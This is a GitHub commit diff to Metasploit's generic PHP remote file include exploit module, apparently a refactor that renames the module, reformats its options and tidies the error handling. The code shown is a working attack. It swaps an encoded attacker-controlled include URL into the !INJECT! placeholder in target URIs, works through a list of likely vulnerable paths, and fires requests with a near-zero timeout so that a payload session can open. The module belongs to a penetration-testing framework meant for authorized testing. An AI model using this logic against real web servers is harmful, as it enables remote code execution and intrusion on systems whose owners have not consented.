Skip to content

Commit 92c068d

Browse files
committed
php_include: Consistencies
Sorry, not sorry
1 parent 91ceaad commit 92c068d

File tree

1 file changed

+47
-34
lines changed

1 file changed

+47
-34
lines changed

modules/exploits/unix/webapp/php_include.rb

Lines changed: 47 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,18 @@ def initialize(info = {})
1414
super(
1515
update_info(
1616
info,
17-
'Name' => 'PHP Remote File Include Generic Code Execution',
17+
'Name' => 'Generic PHP Remote File Include',
1818
'Description' => %q{
19-
This module can be used to exploit any generic PHP file include vulnerability,
20-
where the application includes code like the following:
21-
22-
<?php include($_GET['path']); ?>
19+
This module can be used to exploit any generic PHP remote file include
20+
vulnerability, where the application includes code like the following:
21+
<?php include($_REQUEST['inc']); ?>
2322
},
24-
'Author' => [ 'hdm', 'egypt', 'ethicalhack3r' ],
23+
'Author' => [
24+
'hdm',
25+
'egypt',
26+
'ethicalhack3r',
27+
'g0tmi1k' # @g0tmi1k // https://blog.g0tmi1k.com/ - additional features
28+
],
2529
'License' => MSF_LICENSE,
2630
# 'References' => [ ],
2731
'Privileged' => false,
@@ -51,16 +55,20 @@ def initialize(info = {})
5155
)
5256
)
5357

54-
register_options([
55-
OptString.new('ROOTDIR', [ true, 'The base directory to prepend to the URL to try', '/']),
56-
OptString.new('PHPURI', [false, 'The URI to request, with the include parameter changed to !INJECT!']),
57-
OptString.new('FORMDATA', [false, 'The POST data to send, with the include parameter changed to !INJECT!']),
58-
OptString.new('HEADERS', [false, 'Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"']),
59-
OptPath.new('PHPRFIDB', [
60-
false, 'A local file containing a list of URLs to try, with !INJECT! replacing the URL',
61-
File.join(Msf::Config.data_directory, 'exploits', 'php', 'rfi-locations.dat')
62-
])
63-
])
58+
register_options(
59+
[
60+
OptString.new('ROOTDIR', [ true, 'The base directory to prepend to PHPURIs', '/' ]),
61+
OptString.new('PHPURI', [ false, "The URI to request, with the include()'d parameter changed to !INJECT!", 'test.php?inc=!INJECT!' ]),
62+
OptString.new('FORMDATA', [ false, "POST data to send, with the include()'d parameter changed to !INJECT!. Otherwise will be a GET request." ]),
63+
OptString.new('HEADERS', [ false, 'Any additional HTTP headers to send, cookies for example. Format: "header:value,header2:value2"' ]),
64+
OptPath.new('PHPRFIDB',
65+
[
66+
false,
67+
"A local file containing a list of PHPURIs to try, with the include()'d parameter changed to !INJECT!",
68+
File.join(Msf::Config.data_directory, 'exploits', 'php', 'rfi-locations.dat')
69+
])
70+
]
71+
)
6472
end
6573

6674
def check
@@ -103,7 +111,7 @@ def datastore_headers
103111
end
104112

105113
def encoded_url(input)
106-
encoded_replacement = Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', "%") # ? append is required and PHPRFIDB cannot be trusted
114+
encoded_replacement = Rex::Text.to_hex(php_include_url.sub(/\?$/, '') + '?', '%') # ? append is required and PHPRFIDB cannot be trusted
107115
input.strip.gsub('!INJECT!', encoded_replacement)
108116
end
109117

@@ -114,8 +122,10 @@ def php_exploit
114122
uris = []
115123

116124
# PHPURI overrides the PHPRFIDB list
117-
unless datastore['PHPURI']
118-
vprint_status("Loading PHPURIs from PHPRFIDB")
125+
if datastore['PHPURI']
126+
uris << encoded_url(normalize_uri(datastore['ROOTDIR'], datastore['PHPURI']))
127+
else
128+
vprint_status('Loading PHPURIs from PHPRFIDB')
119129
::File.open(datastore['PHPRFIDB'], 'rb') do |fd|
120130
fd.read(fd.stat.size).split(/\n/).each do |line|
121131
line.strip!
@@ -128,48 +138,51 @@ def php_exploit
128138
end
129139
uris.uniq!
130140
print_status("Loaded #{uris.length} PHPURIs")
131-
else
132-
uris << encoded_url(normalize_uri(datastore['ROOTDIR'], datastore['PHPURI']))
133141
end
134142

135143
# Very short timeout because the request may never return if we're
136144
# sending a socket payload
137-
timeout = 0.01
145+
timeout = 0
138146

139147
# We can't make this parallel without breaking PHP findsock
140148
# Findsock payloads cause this loop to run slowly
141149
uris.each do |uri|
142150
break if session_created?
143151

144-
feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{rhost}:#{rport}#{uri}"
152+
feedback_text = "Sending #{method} request: http#{ssl ? 's' : ''}://#{Rex::Socket.to_authority(rhost, rport)}#{uri}"
145153
feedback_text << " -> #{data}" unless method.casecmp?('get')
146154
vprint_status(feedback_text)
147155
begin
148-
req = {
149-
'global' => true,
150-
'uri' => uri,
151-
'method' => method,
156+
response = {
157+
'global' => true,
158+
'uri' => uri,
159+
'method' => method,
152160
'headers' => datastore_headers.merge(
153161
'Connection' => 'close'
154162
)
155163
}
156164
unless method.casecmp?('get')
157-
req['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
158-
req['headers']['Content-Length'] = data.length
159-
req['data'] = data
165+
response['headers']['Content-Type'] = 'application/x-www-form-urlencoded'
166+
response['headers']['Content-Length'] = data.length
167+
response['data'] = data
160168
end
161169

162-
response = send_request_raw(req, timeout)
163-
vprint_error("Server responded with: HTTP #{response.code}") if response and response.code != 200
170+
response = send_request_raw(response, timeout)
171+
# Due to short timeout, may take longer to get a response/shell/session, so not a big deal if this fails
172+
if response.nil?
173+
vprint_warning('The request received no response in the allotted time, and is expected, even if the exploit succeeds.')
174+
elsif response.code != 200
175+
vprint_error("Error with payload request (HTTP #{response.code}, should be 200)")
176+
end
164177
rescue ::Interrupt
165-
raise $!
178+
raise $ERROR_INFO
166179
rescue ::Rex::HostUnreachable, ::Rex::ConnectionRefused
167180
print_error('The target service unreachable')
168181
break
169182
rescue ::OpenSSL::SSL::SSLError
170183
print_error('The target failed to negotiate SSL, is this really an SSL service?')
171184
break
172-
rescue ::Exception => e
185+
rescue => e
173186
print_error("Exception #{e.class} #{e}")
174187
end
175188

0 commit comments

Comments
 (0)